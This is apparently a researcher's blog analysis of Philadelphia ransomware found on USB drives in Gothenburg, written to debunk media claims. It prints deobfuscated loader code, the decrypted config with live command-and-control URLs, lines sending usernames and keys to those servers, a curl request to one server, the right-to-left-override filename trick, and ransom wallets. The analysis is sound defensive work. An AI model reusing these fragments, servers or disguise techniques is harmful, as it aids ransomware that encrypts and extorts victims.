This Wednesday reports about USB-drives with malicious code being found in the area Lindholmen in Gothenburg, spread in Swedish media. It was reported by, among others, IDG, Expressen, SVT and even far-right sites such as Nordfront. This quickly spread in social media and all kinds of wild theories started to appear including industrial espionage and Russian hackers using "military-grade encryption". All of this, of course, without any kind of evidence to back it up. Being a strong opponent to the FUD that is very commonly spread in security related events I sought to dig deeper into this.

The USB-drive

Through contacts in the Swedish security community, I managed to get a copy of the contents of the drive and could analyze it. What follows is my analysis of the USB-drive and the malware contained in it.

The USB-drive contained three copies of the same Windows PE executable.

SHA256 hash Filename
dcd7b8681e9ebcb657cb8f2f3d85c8920f6321c3f90885c31f3a3ab72c4a11cb aPassTtxt.exe
dcd7b8681e9ebcb657cb8f2f3d85c8920f6321c3f90885c31f3a3ab72c4a11cb PassTtxt.exe
dcd7b8681e9ebcb657cb8f2f3d85c8920f6321c3f90885c31f3a3ab72c4a11cb Grattis.exe

The first two files actually have some special characters in their names which are not shown above. The hex encoded filenames are shown in the table below:

Hex-encoded filename Filename
615061737354 e280ae 7478742e657865 aPassT‮txt.exe
5061737354 e280ae 7478742e657865 PassT‮txt.exe

Note the three bytes in the middle "e280ae" which corresponds to Unicode codepoint U+202E, RIGHT-TO-LEFT OVERRIDE which, in for example Windows Explorer, make it look like the files are called "aPassT.txt" and "PassT.txt" respectively thus tricking the user to click them thinking that they are only regular text files. All three of the files contain a Ransomware called "Philadelphia Ransomware".

Philadelphia Ransomware

The Philadelphia ransomware is a rather simple ransomware. It is a crimekit selling for about $400 and can be configured by the user before being unleashed on victims. The configuration parameters include things like which file types it targets, whether it will try to infect USB-drives or network shares and which command & control servers it should contact. It's a successor to another ransomware called "Stampado" by the same author, "The Rainmaker". This version was released after "Stampado" was broken by Fabian Wosar at Emisoft. It has been seen in the wild since around October 2016. More background can be found in this article from Bleeping Computer.

The ransomware is written with AutoIt 3, a system used by system administrators to automate various tasks in a computer. AutoIt programs are written in a language similar BASIC and can be compiled to a self-hosted executable. This AutoIt code is also heavily obfuscated to prevent analysis.

My analysis started out with looking at the "Grattis.exe" executable and after looking at embedded strings I was lead to believe that this indeed was an AutoIt script. To make sure that the program wasn't trying to mislead me and cloak itself as a simple ransomware, I also did a quick analysis of the program in IDA but found no signs of any foul play.

> strings -n8 Grattis.exe| grep 'AutoIt'
This is a third-party compiled AutoIt script.

Using a tool called Exe2Aut I was able to decompile the AutoIt script which resulted in 5 files belonging to the Malware. The names of the files and their purpose, which I didn't know at the time, are listed in the table below.

Filename role
Grattis_.au3 The main script file
stub.au3.509 Constants for the main script, encoded
pd4ta.dat Configuration for the malware, encrypted
ph1la.bin Secondary script file, encrypted,
delphi.au3.509 Constants for the secondary script, encoded

The Grattis_.au3 script file was obfuscated with two main techniques, very commonly found in script-based malware, such as Office macros and Javascript. First, all variables and functions have been renamed to garbage. Secondly, all constants have been removed from the script and put into a separate file. To get the constants back into the script, it uses a clever trick which I later found out is to twart the efforts from the deobfuscator in a tool called myAut2Exe. The method worked by setting a start-up function directive in the beginning of the file and loading all constants from an array called $cw which doesn't seem to exist. The array is of course created as a global variable inside the init function "A2100001B1E_" so that when the execution reaches line 6, the constants are loaded into various global variables.

#AutoIt3Wrapper_Compression=4
FileInstall("delphi.au3.509", @TempDir & "\delphi.au3.509")
#NoTrayIcon
Global $cw
#OnAutoItStartRegister "A2100001B1E_"
Global $a5840804b3d = a2100001b1e($cw[1]), $a0340a01754 = a2100001b1e($cw[2]), $a4840c03046 = a2100001b1e($cw[3]), $a3440e02852 = a2100001b1e($cw[4])

The init function "A2100001B1E_" works by repeatedly hex-decoding a string and passing it to "Execute", the eval-function in AutoIt.

Func a2100001b1e_()
    For $cw509 = 1 To 5
        Local $a2100001b1esz_ = a2100001b1ex_()
        FileInstall("stub.au3.509", $a2100001b1esz_, 1)
        Global $a2100001b1e, $cw = Execute(BinaryToString("0x457865637574652842696E617279746F737472696E672827307834353738363536333735373436353238343236393645363137323739373436463733373437323639364536373238323733303738333533333337333433373332333633393336343533363337333533333337333033363433333633393337333433323338333433363336333933363433333633353335333233363335333633313336333433323338333233343334333133333332333333313333333033333330333333303333333033333331333433323333333133343335333733333337343133353436333233393332343333323337333634363333333433333330333333323335333433323337333234333333333133323339323732393239272929"))
        If IsArray($cw) AND $cw[0] >= 1344 Then ExitLoop
        Sleep(10)
    Next
    Execute(BinaryToString("0x457865637574652842696E617279746F737472696E6728273078343537383635363337353734363532383432363936453631373237393734364637333734373236393645363732383237333037383333333133323432333433363336333933363433333633353334333433363335333634333336333533373334333633353332333833323334333433313333333233333331333333303333333033333330333333303333333133343332333333313334333533373333333734313335343633323339323732393239272929"))
EndFunc

By manually decoding these strings several times we get a function which looks like this:

Func a2100001b1e_()
    Local $a2100001b1esz_ = a2100001b1ex_()
    FileInstall("stub.au3.509", $a2100001b1esz_, 1)
    Global $cw = StringSplit(FileRead($A2100001B1Esz_),'o402T',1)
    1+FileDelete($A5B00000358sz_)
EndFunc

The function called on line 2 is basically just hex-decoding the filename. As you can see, this function reads the constants file, splits on the five character delimiter and assigns this to the $cw array. After this function has been run, which is the first thing that happens, the previous code at the top makes sense and creates a lot of variables containing all the constants used in the script. At this point I created a Python script which went through the code and replaced each occurence of the constant variables with the actual constant they contained. The code consists of a lot of function. Most of them is basically a wrapper around a Windows API call. For example, one function looks like this when deobfuscated.

Func crypt_release_context()
    If NOT IsDeclared("SSA3600504137") Then
        Global $sscrypt_release_context = 1
    EndIf
    val1_dec()
    If val1_get() = 0 Then
        DllCall(val2_get(), "bool", "CryptReleaseContext", "handle", val3_get(), "dword", 0)
        DllClose(val2_get())
    EndIf
EndFunc

I continued naming functions and variables with the deobfuscation script which made it quite readable. Skipping the function declarations and looking at the actual entry point of the program we find code that looks like this.

FileInstall("ph1la.bin", "%temp%\delph1.bin")
FileInstall("pd4ta.dat", "%temp%\pd4ta.bin")
...
crypt_decrypt_file("%temp%\pd4ta.bin", "%temp%\pd4ta.dat", "5So388vmq3lTgJs", const_RC4)
...
crypt_decrypt_file("%temp%\delph1.bin", "%temp%\delph1.dat", ini_read("%temp%\pd4ta.dat", "file", "mutex", ""), const_RC4)
...
$a3ec5904016 = Run(Execute(" @AutoItExe ") & " " & "/AutoIt3ExecuteScript" & " "" & "%temp%\delph1.dat" & """)
ProcessWaitClose($a3ec5904016)

The configuration file is decrypted with RC4 and a fixed key. The secondary script is then decrypted with a key from the config file. By writing a small script it is possible to decrypt both these files. The config file is then further encrypted by encrypting every section, key and value of the INI file. This is all done with the same key and is also easily decrypted revealing a config file:

[file]
mutex = a9ddd610e95b7e872cd194edd0d74988
uac = not

[bridges]
1 = http://elleranfitness.com.au/b1.php
2 = http://smspillar.com/b1.php
3 = http://unmuha.ac.id/b1.php
4 = http://www.mimosdanna.com.br/b1.php
5 = http://ekose.net/b1.php
6 = http://elleranfitness.com.au/css/b/b1.php
7 = http://unmuha.ac.id/css/b/b1.php
8 = http://ekose.net/css/b/b1.php

[message]
115be2b98435259cbbcaa793c9b9dffc = All your files have been encrypted!\r\n\r\nAll your documents (databases, texts, images, videos, musics etc.) were encrypted. The encryption was done using a secret key \r\nthat is now on our servers.\r\n\r\nTo decrypt your files you will need to buy the secret key from us. We are the only on the world who can provide this for you.\r\n\r\nWhat can I do?\r\n\r\nPay the ransom, in bitcoins, in the amount and wallet below. You can use LocalBitcoins.com to buy bitcoins.

[strings]
02061592f063b9b4e08f2adb3f8535c0 = Deadline
50290a893d63a7afe77bef084ffb2a1b = Russian Roulette
fb31ddd9c54fd3dd5a07c813678a3f62 = Last file Deleted:
d8aea318c44105aac275125140e7b085 = Bitcoin Amount
becb5f809420f184d8bc5b17f356a725 = Wallet for Sending Bitcoins
0335a3a7ca4ecc2e1ba974a827efe31a = Copy
1084cf36076b23783289bf73bde2e0b5 = Decrypt your Files
8802e8fce5bb3427e0705653fcffce77 = Paste here the transaction ID to get your files back:
6fa726501ada6cb7cba8280032a303de = Click to Check
aef87c1b6f665ebea931b4dd7322ba07 = Speech (blank for none)

[russian]
enable = 1
amount = 1
interval = 6
unit = h

[deadline]
enable = 1
delfiles = 1
delkey = 1
interval = 4
unit = D

[ping]
interval = 60

[color]
bg = ff0000
fg = 000000

[random]
sethidden = t
melt = t
gentxt = 1

[folders]
<fixed drives> = 1
<removable drives> = 1
<network drives> = 1
<drive root folders> = 1
desktop = 2
my documents = 2
favorites = 1
home path = 2
home drive = 0
downloads = 2
pictures = 2
music = 2
videos = 2
desktop common = 2
documents common = 2

[settings]
extensions = *.7z;*.avi;*.bmp;*.cdr;*.doc;*.docx;*.gif;*.html;*.jpeg;*.jpg;*.mov;*.mp3;*.mp4;*.pdf;*.ppt;*.pptx;*.rar;*.rtf;*.tiff;*.txt;*.wallet;*.wma;*.wmv;*.xls;*.xlsx;*.zip
usbinfect = 1
networkspread = 1
unkillable = 1
process = Isass.exe
extractto = %appdata%
blocktaskmgr = 1
blocksectools = 1
infectexe = 1
processes = 

Here we see the addresses of the command & control servers, probably unknowing third-party sites which have been infected by the malware creator. The malware supports localization by translating the strings in the config. It also contains configuration paramters for the russian roulette feature which deletes files randomly. The folders and settings sections control what files it should encrypt, where it should encrypt and how it should spread.

With the key in the settings file, we can decrypt the "delph1.bin" file which is another AutoIt script. This script can then be decompiled with the tool myAut2Exe to reveal another script. During the decompilation of this script we can see three interesting log messages from the decompiler, indicating that the attacker compiled the malware on a computer with a user account called "JohannaData".

000000E8 -> CompiledPathName: C:\Users\JohannaData\AppData\Local\AutoIt v3\Aut2Exe\aut45E6.tmp
000001BF -> CompiledPathName: C:\Users\JohannaData\AppData\Local\AutoIt v3\Aut2Exe\aut4578.tmp.tok
00017E82 -> CompiledPathName: C:\Users\JOHANN~1\AppData\Local\Temp\jfthvbj\delphi.au3.509

The inner script is obfuscated in the same way as the main script and is deobfuscated in a very similar process. In this part of the code we find the GUI parts and the communications with the C&C servers.

http_request(ini_read($indata, "bridge", "url", "") & "?p=Deletevictim&id=" & ini_read($indata, "bridge", "id", ""))
...
http_request($url, $post_data = FALSE)
...
http_request(STRING($url & "?p=Insert&osinfo=" & urlencode(EXECUTE(" @OSVersion ")) & "&user=" & urlencode(EXECUTE(" @UserName ")) & "&country=" & urlencode($A199CD04420) & 
...
http_request(STRING($url & "?p=Insertp2p&id=" & ini_read($indata, "bridge", "id", $A262B500160) & "&osinfo=" & urlencode(EXECUTE(" @OSVersion ")) & "&user=" & urlencode(EXECUTE(" @UserName ")) & 
...
http_request(ini_read($indata, "bridge", "url", "") & "?p=Checkpayment&id=" & $A262B500160 & "&transaction=" & A057070275C($A05DD200E29) & "&v=130")
...
http_request($A3F3ED05C0A & "?p=Ping&id=" & $A262B500160 & "&s=" & A057070275C(ini_read($indata, "temp", "status", "")))
...
http_request($url & "?p=Enablep2p&id=" & $A262B500160) = "ok" THEN

By trying one of these commands against the C&C servers we get a response with an infection ID, the BitCoin wallet to pay to and the amount to pay.

curl -v 'http://elleranfitness.com.au/b1.php?p=Insert&osinfo=1'
*   Trying 27.121.64.192...
* Connected to elleranfitness.com.au (27.121.64.192) port 80 (#0)
> GET /b1.php?p=Insert&osinfo=1 HTTP/1.1
> Host: elleranfitness.com.au
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 17 Mar 2017 00:51:29 GMT
< Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1e-fips mod_bwlimited/1.4
< X-Powered-By: PHP/5.3.29
< Transfer-Encoding: chunked
< Content-Type: text/plain; charset=UTF-8
< 
* Connection #0 to host elleranfitness.com.au left intact
58cb3311b3196|1Efhgmj2YLmFjteTf8eEYpAgdRMqPwKS6Z|0.5

I tried all of the C&C servers but only the following three were still funcitonal.

http://elleranfitness.com.au/b1.php  
http://smspillar.com/b1.php  
http://elleranfitness.com.au/css/b/b1.php  

There is also a fallback Bitcoin wallet hardcoded in the code, probably belonging to the malware author. checking both of these wallets, we see that, as of this writing, no money has been paid.

Comment Wallet Balance
From CnC https://blockchain.info/address/1Efhgmj2YLmFjteTf8eEYpAgdRMqPwKS6Z 0.0
Hardcoded fallback https://blockchain.info/address/14j4dhaUsArF3Z3snkC1PjLEjcUcioh2KJ 0.0

We also find the key generation algorithm which uses the built-in random function of AutoIt to generate a 32-40 character long key. AutoIt uses Mersenne Twister internally for its random generator. Unfortunately for the author, it is always seeded with the current time which makes key recovery almost trivial. The files encrypted with this malware can thus be decrypted without paying for the key. Furthermore, as shown above, the key is passed as a GET prameter over plain HTTP to the C&C server which means that if you have any kind of logging proxy or similar the key gets recorded there.

FUNC generate_key()
    IF NOT ISDECLARED("SSgenerate_key") THEN
        GLOBAL $SSgenerate_key = 1
    ENDIF
    LOCAL $key
    FOR $i = 1 TO RANDOM(32, 40, 1)
        $key &= CHR(RANDOM(65, 122, 1))
    NEXT
    RETURN $key
ENDFUNC

There is also, again, a message to Fabian Wosar at Emisoft which can be found in the code. The hash of this message is actually used as the default encryption key for the inner script.

FUNC A4250A0504F($logdata)
    IF NOT ISDECLARED("SSA4250A0504F") THEN
        GLOBAL $SSA4250A0504F = 1
    ENDIF
    RETURN STRINGTRIMLEFT(crypt_hash("give up fabian" & $logdata, const_MD5), 2)
ENDFUNC

Another interesting thing about the code is that it still has all debug functionality left. All around the code there are calls to a function, which I named debug_print. This function checks if any of the command line arguments to the program is "debug" in which case it writes the debug message to a file called "philadelphia_debug.txt" on the desktop.

Func print_debug($logdata)
    ...
    Local $a086560314f = False
    For $a14b1700b3e = 1 To $cmdline[0]
        If $cmdline[$a14b1700b3e] = "debug" Then
            $a086560314f = True
        EndIf
    Next
    If $a086560314f Then
        FileWriteLine("%desktop%\philadelphia_debug.txt", "[" & Execute(" @YEAR ") & "/" & Execute(" @MON ") & "/" & Execute(" @MDAY ") & " " & Execute(" @HOUR ") & ":" & Execute(" @MIN ") & ":" & Execute(" @SEC ") & "] [THREAD " & $cmdline[2] & "] " & $logdata)
    EndIf
EndFunc

The malware also has the ability to whitelist machines from specific countries. This particular attack has not configured that list however and targets everything. The code is still there though and would base its decision on the "LocaleName" registry key.

$A55C900092B = REGREAD("HKEY_CURRENT_USER\Control Panel\International", "LocaleName")
$A33C9302736 = ini_read_list($A00A9805030, "ignore_country")
IF NOT @ERROR THEN
    debug_print("Some countries are being ignored. This machine is from " & $A55C900092B)
    FOR $i = 1 TO $A33C9302736[0][0]
        IF $A33C9302736[$i][0] = $A55C900092B THEN
            debug_print("This machine will be ignored.  Closing...")
            EXIT
        ENDIF
    NEXT
    debug_print("This machine is not on the ignore list")
ENDIF

Overall, there is nothing else that's interesting about the malware. Basically it does the following, very typical ransomware operations:

  1. Reads the configuration
  2. Generates a key
  3. Sends it to the C&C servers
  4. Locates files according to the config
  5. Encrypts the files with the key using AES256 through the Windows Crypto API
  6. Generates a message for the victim.
  7. Installs itself to autorun on the computer

Furthermore, upon payment it:

  1. Contacts the C&C servers to get the key
  2. Decrypts all files
  3. Uninstalls itself

Summary and conclusions

The USB-drives contained the Philadelphia ransomware. Contrary to claims in media, there were no autorun features on the drive. The ransomware came in the form of three differently named executables with tricky names to fool the victim that they were simple text files. Contrary to claims in the media, there is no indication that this is anything else than a simple ransomware. The ransomware is a new version of the "Stampado" ransomware, written in AutoIt 3. The obfuscation techniques are very standard for script based malware. Contrary to claims in the media there is nothing advanced about this ransomware and phrases such as "military-grade" can not be classified as anything other than complete bullshit. The careful reader might see a pattern here. All of the unbased claims and speculations about this attack are false and only contribute to the spreading of FUD.

For those who want to explore the code and my work closer, all of my scripts and deobfuscated code can be found in this zip-file Note that while the malware is simple it is still a malware and I take no responsibility for any damages it might cause to your system. The zip-file is protected by the password "malware".